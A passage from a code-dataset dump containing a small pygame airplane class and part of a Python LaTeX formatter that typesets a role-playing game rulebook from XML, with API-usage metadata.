"call"}, {"api_name": "random.gauss", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 80, "usage_type": "call"}, {"api_name": "lightgbm.LGBMRegressor", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 87, "usage_type": "call"}, {"api_name": "sklearn.svm.SVR", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 97, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 98, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.sca", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.sca", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}]} +{"seq_id": "450527581", "text": "import pygame\n\nclass Airplane():\n #初始化飞机\n\n def __init__(self,screen):\n self.screen = screen\n\n #加载飞机图像并获取其外接矩形\n self.image = pygame.image.load(r'images\\airplane.bmp')\n self.rect = self.image.get_rect()\n self.screen_rect = screen.get_rect()\n\n #初始化飞机位置\n self.rect.centerx = self.screen_rect.centerx\n self.rect.bottom = self.screen_rect.bottom\n\n #初始化飞机移动标志\n self.m_right = False\n self.m_left = False\n\n #初始化飞机运动位置\n self.center = float(self.rect.centerx)\n\n def blitme(self,speed):\n #更新飞机运动信息\n if self.m_right and self.rect.right < self.screen_rect.right:\n self.center += speed\n if self.m_left and self.rect.left > 0:\n self.center -= speed\n self.rect.centerx = self.center\n \n #绘制飞机\n self.screen.blit(self.image,self.rect)\n\n def center_plane(self):\n #飞机复位\n\n self.image = pygame.image.load(r'images\\airplane.bmp')\n self.rect.centerx = self.screen_rect.centerx\n", "sub_path": "World War II - Air Force/airplane.py", "file_name": "airplane.py", "file_ext": "py", "file_size_in_byte": 1174, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pygame.image.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 39, "usage_type": "attribute"}]} +{"seq_id": "258167303", "text": " # coding=utf8\nfrom zope.interface import Interface, implements\nfrom zope.interface.verify import verifyObject\n\nfrom i_formatter import IFormatter\nimport settings\n\n\n## import re\n## _whitespace_regex = re.compile(\"[ \\t]+\")\n## def strip_ws(text):\n## \"\"\"\n## Latex is white space sensitive .. so strip any whitespace from the raw xml\n## (as xml is whitespace agnostic).\n\n## Leaves the line feeds in to keep the line numbers the same for debugging ??\n\n## \"\"\"\n## #return \" \".join(text.split())\n## return _whitespace_regex.sub(\" \", text)\n\n\ndef strip_ws(text):\n \"\"\"\n Latex is white space sensitive .. so strip any whitespace from the raw xml\n (as xml is whitespace agnostic).\n\n Leaves the line feeds in to keep the line numbers the same for debugging ??\n\n \"\"\"\n return \" \".join(text.split())\n\n\n\n\nclass LatexFormatter:\n #implements(IFormatter)\n \n def __init__(self, latex_file):\n\n # open latex file pointer\n self.latex_file = latex_file\n \n # internal state\n self._drop_capped_first_letter_of_chapter = False\n\n # for tables\n self._number_of_columns_in_table = 0\n self._current_column_in_table = 0\n self._current_row_in_table = 0\n\n # for level tables\n self._current_row_in_level_table = 0\n\n #\n # configuration\n # \n return\n\n def verify(self):\n verifyObject(IFormatter, self)\n return\n\n def no_op(self, obj):\n \"\"\"We've got a lot of handlers that don't need to do anything.. do nothing once.\"\"\"\n pass\n\n \n def start_book(self, book):\n \n # must be a valid latex paper size\n if settings.paper_size == \"a4\":\n paper_size = \"a4paper\"\n elif settings.paper_size == \"letter\":\n paper_size = \"letterpaper\"\n else:\n raise Exception(\"Unknown paper size. Pick one of [a4, letter] in settings.py\")\n \n self.latex_file.write(\n \"\\\\documentclass[\" + paper_size + \",twocolumn,oneside]{book}\\n\" \n \"\\n\"\n \"\\\\usepackage{fancyhdr} % header control\\n\" \n \"\\\\usepackage{fancybox} % fancy boxes.. eg box outs\\n\" \n \"\\\\usepackage{graphicx} % for including images\\n\" \n \"\\\\usepackage{fontspec} % fine font control\\n\"\n \"\\\\usepackage{color} % color.. what can I say\\n\"\n \"\\\\usepackage{titlesec} % for fancy titles\\n\"\n \"\\\\usepackage{lettrine} % for drop capitals \\n\" \n\n \"\\\\usepackage{tabularx} % for tables \\n\" \n \"\\\\usepackage[table]{xcolor} % for tables with colour\\n\"\n \"\\\\usepackage{booktabs} % for tables\\n\"\n \"\\\\usepackage{calc} % for table width calculations\\n\"\n #\"\\\\usepackage{longtable} % for long tables (surprise!)\\n\"\n\n \"\\\\usepackage{wasysym} % for checked box\\n\"\n \n\n \"\\\\usepackage{xcolor} % for color aliases\\n\" \n \"\\\\usepackage{wallpaper} % for the paper background\\n\" \n \"\\\\usepackage{enumerate} % for roman numerals in enumerations\\n\" \n \"\\\\usepackage{lipsum} % for generating debug text\\n\"\n \"\\\\usepackage{wrapfig} % sidebar thingy\\n\"\n \"\\\\usepackage{makeidx} % for building the index\\n\"\n\n \n #\"\\\\usepackage{tcolorbox}\\n\"\n ## \"%\\\\newenvironment{wraptext}[1][r]\"\n ## \"%{\\\\wrapfigure{#1}{0.5\\\\textwidth}\\\\tcolorbox}\"\n ## \"%{\\\\endtcolorbox\\\\endwrapfigure}\\n\" \n ## \"\\n\"\n ## \"%\\\\newenvironment{wraptext}[1][r]\"\n ## \"%{\\\\wrapfigure{#1}{0.5\\\\textwidth}\\\\begin{tcolorbox}}\"\n ## \"%{\\\\end{tcolorbox}\\\\endwrapfigure}\\n\" \n ## \"\\n\"\n ## \"%\\\\newenvironment{wraptext}[1][r]\"\n ## \"%{\\\\wrapfigure{#1}{0.5\\\\textwidth}}\"\n ## \"%{\\\\endwrapfigure}\\n\"\n\n ## \"\\n\"\n ## \"\\\\newenvironment{rpgtable}{\\n\" \n ## \" \\\\centering\\n\"\n ## \" \\\\table\\n\"\n ## \"}\\n\"\n ## \"{\\n\"\n ## \" \\\\endtable\\n\"\n ## \"}\\n\"\n\n\n \"\\n\"\n \"\\n\"\n \"% fonts\\n\"\n \"\\\\newfontfamily{\\\\rim}[Scale=1.5]{Rat Infested Mailbox}\\n\"\n \"%\\\\newfontfamily{\\\\eng}[Scale=1.5]{English Gothic, 17th c.}\\n\"\n \"\\\\newfontfamily{\\\\dz}[Scale=2.5]{Deutsche Zierschrift}\\n\"\n \"\\\\newfontfamily{\\\\tkaqf}[Scale=2.5]{the King & Queen font}\\n\"\n \"\\\\newfontfamily{\\\\cloisterblack}{Cloister Black}\\n\"\n \"\\n\"\n \"\\\\newfontfamily{\\\\rpgtitlefont}[Scale=10.0]{Dogma}\\n\"\n \"\\\\newfontfamily{\\\\rpgchapterfont}[Scale=1.0]{Cloister Black}\\n\"\n \"\\\\newfontfamily{\\\\rpgsectionfont}{Cloister Black}\\n\"\n \"\\\\newfontfamily{\\\\rpgtableheaderfont}{Cloister Black}\\n\"\n \"\\\\newfontfamily{\\\\rpgdropcapfont}[Scale=1.2]{Cloister Black}\\n\"\n \"\\\\newfontfamily{\\\\rpgtitleauthorfont}{Cloister Black}\\n\"\n \"\\\\newfontfamily{\\\\rpgtitlesubtitlefont}{Cloister Black}\\n\"\n \"\\n\"\n \"% colours \\n\"\n \"\\\\definecolor{maroon}{RGB}{128,0,0}\\n\"\n \"\\\\definecolor{darkred}{RGB}{139,0,0}\\n\"\n \"\\\\definecolor{barnred}{RGB}{124,10,2}\\n\"\n \"\\\\definecolor{rosetaupe}{RGB}{144,93,93}\\n\"\n \"\\\\definecolor{rosewood}{RGB}{101,0,11}\\n\"\n \"\\\\definecolor{black}{RGB}{0,0,0}\\n\"\n \"\\n\"\n \"% colour aliases\\n\"\n \"\\\\colorlet{rpgtitlefontcolor}{black}\\n\"\n \"\\\\colorlet{rpgchapterfontcolor}{black}\\n\"\n \"\\\\colorlet{rpgsectionfontcolor}{rosewood}\\n\"\n \"\\\\colorlet{rpgtableheaderfontcolor}{black}\\n\"\n \"\\n\"\n \"\\n\"\n \"% spacing \\n\" \n \"\\\\newlength\\drop\\n\"\n \"\\\\drop = 0.01\\\\textheight % drop is a vspace 1/100th the page text height.\\n\"\n \"\\n\"\n \"% header formatting\\n\"\n \"\\\\titleformat{\\\\chapter}[hang]\\n\"\n \" {\\\\Huge\\\\bfseries\\\\rpgchapterfont\\\\color{rpgchapterfontcolor}}\\n\"\n \" {\\\\thechapter}{0.5em}{}\\n\"\n \"\\n\"\n \"\\\\titleformat{name=\\\\chapter,numberless}[hang]\\n\"\n \" {\\\\Huge\\\\bfseries\\\\rpgchapterfont\\\\color{rpgchapterfontcolor}}\\n\"\n \" {}{1em}{}\\n\"\n \"\\n\"\n \"\\\\titleformat{\\\\section}\\n\"\n \" {\\\\rpgsectionfont\\\\Large\\\\bfseries\\\\color{rpgsectionfontcolor}}\\n\"\n \" {\\\\thesection}{0.5em}{}\\n\"\n \"\\n\"\n \"\\\\newcommand{\\\\rpgtableheader}\\n\"\n \" {\\\\rpgtableheaderfont\\\\bfseries\\\\color{rpgtableheaderfontcolor}}\"\n \" {}\\n\"\n \"\\n\"\n \"\\n\"\n \"\\n\"\n \"\\n\"\n \"\\n\"\n \"\\n\"\n\n\n ## \"\\\\usepackage{rotating}\\n\"\n ## \"\\\\usepackage[first=-8,last=8]{lcg}\\n\"\n ## \"\\makeatletter\\n\"\n ## \"\\\\newcommand{\\\\globalrand}{\\\\rand\\\\global\\\\cr@nd\\\\cr@nd}\\n\"\n ## \"\\\\makeatother\\n\"\n ## \"\\\\newcommand{\\\\easteregg}[1]{%\\n\"\n ## \"\\\\expandafter\\\\let\\\\csname old\\\\string#1\\\\endcsname#1%\\n\"\n ## \"\\\\expandafter\\\\def\\\\expandafter#1\\\\expandafter##\\\\expandafter1\\\\expandafter{%\\n\"\n ## \"\\\\csname old\\\\string#1\\\\endcsname{\\\\protect\\\\globalrand\\\\protect\\\\turnbox{\\n\"\n ## \"\\\\value{rand}}{##1}\\\\protect\\\\phantom{##1}}}%\\n\"\n ## \"}\\n\"\n ## \"\\\\easteregg\\\\emph\\n\"\n \"\\n\" \n \"% the font for the body of the text\\n\"\n # \\fontspec[Mapping=tex-text, Ligatures={Common, Rare, Historic}]{Hoefler Text}\n # this works..\n #\"\\\\fontspec[Mapping=tex-text, Ligatures={Common, Rare}]{Cloister Black}\\n\"\n #\"\\\\setmainfont[Ligatures={Common, Rare}]{TeX Gyre Pagella}\\n\"\n\n #\"\\\\setmainfont[Ligatures={Common, Rare}]{TeX Gyre Pagella}\\n\"\n\n #\"\\\\defaultfontfeatures{Mapping=tex-text,Scale=MatchLowercase}\\n\"\n #\"\\\\setmainfont[Scale=0.95]{TeX Gyre Pagella}\\n\"\n #\"\\\\setmainfont[Scale=0.95]{Hoefler Text}\\n\"\n \"\\\\setmainfont[Scale=0.95]{Linux Libertine O}\\n\"\n \"\\\\setromanfont[Mapping=tex-text, Numbers=OldStyle, Contextuals=Swash, Ligatures=Historical]{Linux Libertine O}\\n\"\n #\"\\\\addfontfeature{Ligatures=Historical}\\n\"\n #\"\\\\addfontfeature{Ligatures=Historical}\\n\"\n #\"\\\\addfontfeature{Ligatures=Rare}\\n\"\n #\"\\\\addfontfeature{Contextuals=cswh}\\n\"\n \"\\\\setmonofont{TeX Gyre Pagella}\\n\" \n \"\\n\"\n \"% special bullet symbols\\n\"\n \"\\\\newcommand{\\\\rpgbullet}\\n\"\n \"{\\n\"\n \" \\\\begingroup\\n\"\n \" \\\\fontspec{WWDesigns}\\n\"\n \" \\\\large\\n\"\n \" \\\\selectfont\\n\"\n \" \\\\char\\\"0043\"\n \" \\\\endgroup\\n\"\n \"}\\n\"\n \"\\\\renewcommand{\\\\labelitemi}{\\\\rpgbullet}\\n\"\n \"\\n\"\n \"% special provenance symbol\\n\"\n \"\\\\newcommand{\\\\rpgprovenancesymbol}\\n\"\n \"{\\n\"\n \" \\\\begingroup\\n\"\n \" \\\\fontspec{WWDesigns}\\n\"\n \" \\\\Large\\n\"\n \" \\\\selectfont\\n\"\n \" \\\\char\\\"0041\"\n \" \\\\endgroup\\n\"\n \"}\\n\"\n \"\\n\"\n \"% scroll flourish divider symbol\\n\"\n \"\\\\newcommand{\\\\rpgdividersymbol}\\n\"\n \"{\\n\"\n #\" \"\n \" \\\\begingroup\\n\"\n \" \\\\fontspec{old retro labels tfb}\\n\"\n #\" \\\\fontsize{82pt}{14pt}\\\\selectfont\"\n \" \\\\Huge\\n\"\n \" \\\\selectfont\\n\"\n \" \\\\char\\\"006E\"\n \" \\\\endgroup\\n\"\n \"}\\n\"\n \"\\n\"\n \"\\n\"\n \"% combat symbol - a sword\\n\"\n \"\\\\newcommand{\\\\rpgcombatsymbol}{$\\\\dagger$}\\n\"\n \"\\n\"\n \"% training symbol\\n\"\n \"\\\\newcommand{\\\\rpgtrainingsymbol}{$\\\\otimes$}\\n\"\n \"\\n\"\n \"% learning symbols\\n\"\n \"\\\\newcommand{\\\\rpglearningsymbol}{$\\Psi$}\\n\" \n \"\\n\"\n \"% success symbols\\n\"\n \"\\\\newcommand{\\\\rpgsuccess}{\\\\CheckedBox}\\n\" \n \"\\n\"\n \"% fail symbols\\n\"\n \"\\\\newcommand{\\\\rpgfail}{\\\\XBox}\\n\" \n \"\\n\"\n \"\\n\"\n \"\\n\"\n \"% the index \\n\"\n \"\\\\makeindex\\n\" \n \"\\n\"\n # start other evironments in newenvironments like this \n # put it after a section, not just before\n \"\\n\"\n \"\\\\newenvironment{playexample}{\\n\" \n \" \\\\centering\\n\"\n \" \\\\figure\\n\" \n #\" \\\\wrapfigure{o}{0.4\\\\textwidth}\\n\" \n \" \\\\hrule \\\\ \\n\"\n #\" \\\\rpgdividersymbol\\n\"\n #\" \\\\begin{center}XXXXX\\\\end{center} \\\\\\n\"\n #\" \\\\begin{center} \\\\hline \\\\end{center} \\\\\\n\"\n #\" {\\\\centering XXXXX }\\n\"\n #\" {\\\\centering x\\\\rpgdividersymbol }\\n\"\n \" \\\\small\\n\"\n \" \\\\cloisterblack\\n\"\n #\" \\\\tcolorbox\\n\" \n #\" \\\\centering\\n\"\n #\"{ \\\\begin{wrapfigure}{R}{0.5\\\\textwidth} \"\n #\" \\\\begin{minipage}{0.45\\\\textwidth} \"\n #\" \\\\begin{tcolorbox}\"\n \"}\\n\"\n \"{\\n\"\n #\" \\\\dag\\n\"\n #\" \\\\endtcolorbox\\n\"\n #\" \\\\end{tcolorbox} \"\n #\" \\\\end{minipage}\"\n #\" \\\\centering \\\\\\\\ \\\\rpgdividersymbol \\\\\\\\ \\n\"\n #\" \\\\makebox[\\textwidth]{\\rule{200cm}{0.4pt}} \n #\" \\\\makebox[\\\\linewidth]{\\\\centering \\\\rpgdividersymbol}\\n\"\n \" \\\\ \\\\hrule \\n\"\n #\" \\\\center \\\\rpgdividersymbol \\\\\\\\ \\\\endcenter \\n\"\n #\" \\\\endwrapfigure\\n\"\n \" \\\\endfigure\\n\"\n #\" \\\\leavevmode\\n\"\n \"}\\n\"\n \"\\n\"\n \"\\n\"\n \"\\n\"\n \"% the document! \\n\"\n \"\\\\begin{document}\\n\"\n \"\\n\")\n\n if settings.display_page_background:\n self.latex_file.write(\n \"\\n\"\n \"% use a background image\\n\"\n \"\\\\CenterWallPaper{1.0}{./resources/paper_\" + paper_size + \".jpg}\"\n \"\\n\\n\")\n \n return\n\n\n def end_book(self, book):\n self.latex_file.write(\"\\\\end{document}\\n\") \n return\n\n\n # \\printindex % Skriver ut index listan i dokumentet \n\n\n def start_appendix(self, appendix):\n self.latex_file.write(\"\\\\appendix\\n\"\n \"\\\\addcontentsline{toc}{chapter}{APPENDICES}\\n\")\n return\n end_appendix = no_op\n\n\n def start_ability(self, ability):\n title_element = ability.find(\"abilitytitle\")\n if title_element is None:\n title = \"\"\n else:\n title = title_element.text\n\n self.latex_file.write(\"\\\\subsubsection{%s}\\n\" % title) \n return\n\n def end_ability(self, ability):\n return\n\n def start_subsubsection(self, subsubsection):\n title_element = subsubsection.find(\"subsubsectiontitle\")\n if title_element is None:\n title = \"\"\n else:\n title = title_element.text\n\n self.latex_file.write(\"\\\\subsubsection{%s}\\n\" % title) \n return\n\n #def end_subsubsection(self, subsubsection):\n # return\n end_subsubsection = no_op\n\n\n ## def start_ability_title(self, ability_title):\n ## return\n \n ## def end_ability_title(self, ability_title):\n ## return\n\n\n start_ability_group = no_op\n def end_ability_group(self, ability_group):\n #self.latex_file.write(\"%s\\n\" % strip_ws(ability_group.text))\n self.latex_file.write(\"%s\\n\" % strip_ws(ability_group.text))\n return\n\n start_ability_class = no_op\n def end_ability_class(self, ability_class):\n self.latex_file.write(\"%s\\n\" % strip_ws(ability_class.text))\n return\n\n start_action_points = no_op\n def end_action_points(self, action_points):\n self.latex_file.write(\"%s\\n\" % strip_ws(action_points.text))\n return\n\n\n def start_index(self, index):\n self.latex_file.write(\"\\\\clearpage\\n\") \n self.latex_file.write(\"\\\\addcontentsline{toc}{chapter}{Index}\\n\") \n self.latex_file.write(\"\\\\printindex\\n\") \n return\n end_index = no_op\n\n\n def start_section(self, section):\n title_element = section.find(\"sectiontitle\")\n if title_element is None:\n title = \"\"\n else:\n title = title_element.text\n\n self.latex_file.write(\"\\\\section{%s}\\n\" % title) \n return\n end_section = no_op\n\n\n def start_subsection(self, subsection):\n title_element = subsection.find(\"subsectiontitle\")\n if title_element is None:\n title = \"\"\n else:\n title = title_element.text\n\n self.latex_file.write(\"\\\\subsection{%s}\\n\" % title) \n return\n\n def end_subsection(self, subsection): \n return\n\n start_subsection_title = no_op\n end_subsection_title = no_op\n\n start_subsubsection_title = no_op\n end_subsubsection_title = no_op\n\n def start_playexample(self, playexample):\n self.latex_file.write(\"\\\\begin{playexample}\\n\")\n return\n\n def end_playexample(self, playexample):\n self.latex_file.write(playexample.text) \n self.latex_file.write(\"\\\\end{playexample}\\n\") \n return\n\n\n ## def start_skill(self, skill):\n ## title_element = skill.find(\"skilltitle\")\n ## if title_element is None:\n ## title = \"\"\n ## else:\n ## title = title_element.text\n\n ## self.latex_file.write(\"\\\\subsection*{%s}\\n\" % title)\n ## return\n\n ## def end_skill(self, skill): \n ## return\n\n ## def start_skill_title(self, skill_title):\n ## return\n\n ## def end_skill_title(self, skill_title):\n ## return\n\n\n\n def start_level_progression_table(self, element):\n self._current_row_in_level_table = 0\n self.latex_file.write(\n \"\\\\begin{tabularx}{0.9\\\\linewidth}{\"\n \"p{\\\\widthof{10000}}p{\\\\widthof{30}}X\"\n \"} \\\\\\\\ \\n\"\n \"\\\\bottomrule \\n\"\n \"\\\\rpgtableheader{Level} & \"\n \"\\\\rpgtableheader{XP} & \"\n \"\\\\rpgtableheader{Description} \\\\\\\\ \\n\")\n return\n \n def end_level_progression_table(self, element):\n self.latex_file.write(\"\\\\bottomrule \\n\"\n \"\\\\end{tabularx}\\n\"\n \"\\n\")\n return\n \n def start_level(self, level):\n self._current_row_in_level_table += 1\n #self,la\n if self._current_row_in_level_table % 2 == 1: \n self.latex_file.write(\"\\\\rowcolor{blue!20} \\n\")\n else:\n self.latex_file.write(\"\\\\rowcolor{white!20} \\n\")\n return\n \n def end_level(self, level):\n self.latex_file.write(\" \\\\\\\\\\n\")\n return \n \n def start_level_xp(self, element):\n self.latex_file.write(\" %s &\" % element.text)\n return \n end_level_xp = no_op\n \n def start_level_number(self, element):\n self.latex_file.write(\" %s &\" % element.text)\n return \n end_level_number = no_op\n\n def start_level_combat(self, element):\n self.latex_file.write(\"\\\\rpgcombatsymbol %s \" % element.text)\n return \n end_level_combat = no_op\n\n def start_level_training(self, element):\n self.latex_file.write(\"\\\\rpgtrainingsymbol %s \" % element.text)\n return \n end_level_training = no_op\n\n def start_level_learning(self, element):\n self.latex_file.write(\"\\\\rpglearningsymbol %s \" % element.text)\n return \n end_level_learning = no_op\n \n def start_level_description(self, element):\n self.latex_file.write(\" %s \" % element.text)\n return\n\n def end_level_description(self, element):\n pass\n\n\n def start_title_page(self, chapter):\n self.latex_file.write(\"\\\\begin{titlepage}\\n\"\n \"\\\\begin{center}\\n\")\n return\n\n def end_title_page(self, chapter):\n self.latex_file.write(\"\\\\end{center}\\n\"\n \"\\\\end{titlepage}\\n\")\n return\n\n\n def start_emph(self, emph):\n return\n\n def end_emph(self, emph):\n self.latex_file.write(\"\\\\emph{%s}\" % strip_ws(emph.text))\n #self.latex_file.write(\"\\\\emph{%s}%s\" % (strip_ws(emph.text), emph.tail))\n return\n\n\n def handle_text(self, text):\n if text is not None:\n self.latex_file.write(text.encode('utf8'))\n return\n\n\n start_index_entry = no_op\n def end_index_entry(self, index_entry):\n self.latex_file.write(\"\\\\index{%s}\" % strip_ws(index_entry.text))\n #self.latex_file.write(\"\\\\emph{%s}\" % strip_ws(defn.tail))\n ## self.latex_file.write(strip_ws(defn.text))\n ## self.latex_file.write(\"} \")\n ## #self.latex_file.write(\"\\\\emph{%s}\" % strip_ws(defn.text))\n ## self.latex_file.write(strip_ws(defn.tail))\n return\n\n def start_defn(self, defn):\n #self.latex_file.write(\"\\\\emph{\")\n return\n\n def end_defn(self, defn):\n self.latex_file.write(\"\\\\emph{%s}\\\\index{%s}\" % (strip_ws(defn.text),\n strip_ws(defn.text)))\n ## self.latex_file.write(\"\\\\emph{%s}\\\\index{%s}%s\" % (strip_ws(defn.text),\n ## strip_ws(defn.text),\n ## defn.tail))\n #self.latex_file.write(\"\\\\emph{%s}\" % strip_ws(defn.tail))\n ## self.latex_file.write(strip_ws(defn.text))\n ## self.latex_file.write(\"} \")\n ## #self.latex_file.write(\"\\\\emph{%s}\" % strip_ws(defn.text))\n ## self.latex_file.write(strip_ws(defn.tail))\n return\n\n def start_chapter(self, chapter):\n title_element = chapter.find(\"chaptertitle\")\n if title_element is None:\n title = \"\"\n else:\n title = title_element.text\n self.latex_file.write(\"\\\\chapter{%s}\\n\" % title)\n return\n\n def end_chapter(self, chapter):\n # remember to drop cap the first letter of the word in this chapter\n self._drop_capped_first_letter_of_chapter = False\n return\n\n def start_paragraph(self, paragraph):\n self.latex_file.write(\"\\n\\n\")\n\n # add drop caps to the first word of every chapter\n if not self._drop_capped_first_letter_of_chapter:\n self._drop_capped_first_letter_of_chapter = True\n words = paragraph.text.split()\n if len(words) > 0:\n first_word = words[0]\n if len(first_word) > 0:\n first_letter = first_word[0]\n other_letters = first_word[1:]\n\n drop_cap_word = (\"\\\\lettrine[\"\n \"lines=2, \"\n \"lraise=0.1, \"\n # horizontal displacement of the indented text\n \"findent=-0.14em, \" \n \"nindent=0.3em, \"\n \"slope=0em]{\\\\rpgdropcapfont %s}{%s}\" %\n (first_letter, other_letters))\n\n words = [drop_cap_word, ] + words[1:]\n\n text = \" \".join(words)\n else:\n text = paragraph.text\n\n self.latex_file.write(text) \n return\n\n def end_paragraph(self, paragraph):\n self.latex_file.write(\"\\n\\n\")\n return\n\n\n def start_design(self, design):\n if settings.print_design_notes:\n self.latex_file.write(\"\\n\\n\")\n self.latex_file.write(design.text) \n return\n\n def end_design(self, design):\n self.latex_file.write(\"\\n\\n\")\n return\n\n\n def start_provenance(self, provenance):\n self.latex_file.write(\"\\n\\n\") \n #self.latex_file.write(\"\\\\begin{quote}\")\n\n if settings.print_provenence_notes:\n self.latex_file.write(\"\\\\begin{center}\")\n self.latex_file.write(\"\\\\begin{minipage}[c]{0.9\\linewidth}\")\n # self.latex_file.write(\"\\\\emph{\")\n self.latex_file.write(\"\\\\rpgprovenancesymbol\\\\hspace{0.2em}\") \n self.latex_file.write(provenance.text) \n return\n\n def end_provenance(self, provenance):\n #self.latex_file.write(\"}\") \n if settings.print_provenence_notes:\n self.latex_file.write(\"\\\\end{minipage}\") \n self.latex_file.write(\"\\\\end{center}\")\n self.latex_file.write(\"\\n\\n\")\n return\n\n\n def start_author(self, author):\n self.latex_file.write(\"{\\\\Large \\\\rpgtitleauthorfont %s}\\\\\\\\\" % author.text) \n #self.latex_file.write(\"{\\\\begin{easteregg}\\\\Large \\\\rpgtitleauthorfont %s\\\\end{easteregg}}\\\\\\\\\" % author.text) \n return\n\n def end_author(self, author):\n return\n\n def start_title(self, title):\n self.latex_file.write(\"{ \\\\color{rpgtitlefontcolor} \\\\rpgtitlefont %s }\\\\\\\\\\n\"\n % title.text)\n return\n\n def end_title(self, title):\n return\n\n def start_subtitle(self, subtitle): \n self.latex_file.write(\"{\\\\large \\\\rpgtitlesubtitlefont %s}\\\\\\\\\\n\" % subtitle.text)\n return\n\n def end_subtitle(self, title):\n return\n \n def start_chapter_title(self, chapter_title):\n return\n\n def end_chapter_title(self, chapter_title):\n return\n\n\n def start_section_title(self, section_title):\n return\n\n def end_section_title(self, section_title):\n return\n\n def start_img(self, img):\n\n if settings.debug_outline_images:\n self.latex_file.write(\"\\\\fbox{\")\n\n \n self.latex_file.write(\"\\\\includegraphics[scale=%s]{%s}\"\n % (img.get(\"scale\", default=\"1.0\"), img.get(\"src\")))\n \n if settings.debug_outline_images:\n self.latex_file.write(\"}\")\n\n self.latex_file.write(\"\\\\\\\\\\n\")\n return\n\n def end_img(self, img):\n return\n\n def start_figure(self, figure):\n #self.latex_file.write(\"\\\\begin{wrapfigure}{h}{0.5\\\\linewidth}\\n\")\n self.latex_file.write(\"\\\\begin{figure}\\n\")\n self.latex_file.write(\"\\\\centering\\n\")\n #self.latex_file.write(\"%s\\n\" % figure.text)\n self.latex_file.write(\"\\\\includegraphics[scale=0.36]{%s}\\n\"\n % (figure.get(\"src\")))\n\n caption = figure.get(\"caption\")\n if caption is not None:\n self.latex_file.write(\"\\\\caption{%s}\\n\" % caption)\n return\n\n def end_figure(self, figure):\n #self.latex_file.write(\"\\\\end{wrapfigure}\\n\")\n self.latex_file.write(\"\\\\end{figure}\\n\")\n return\n\n def start_enumeration(self, enumeration):\n # 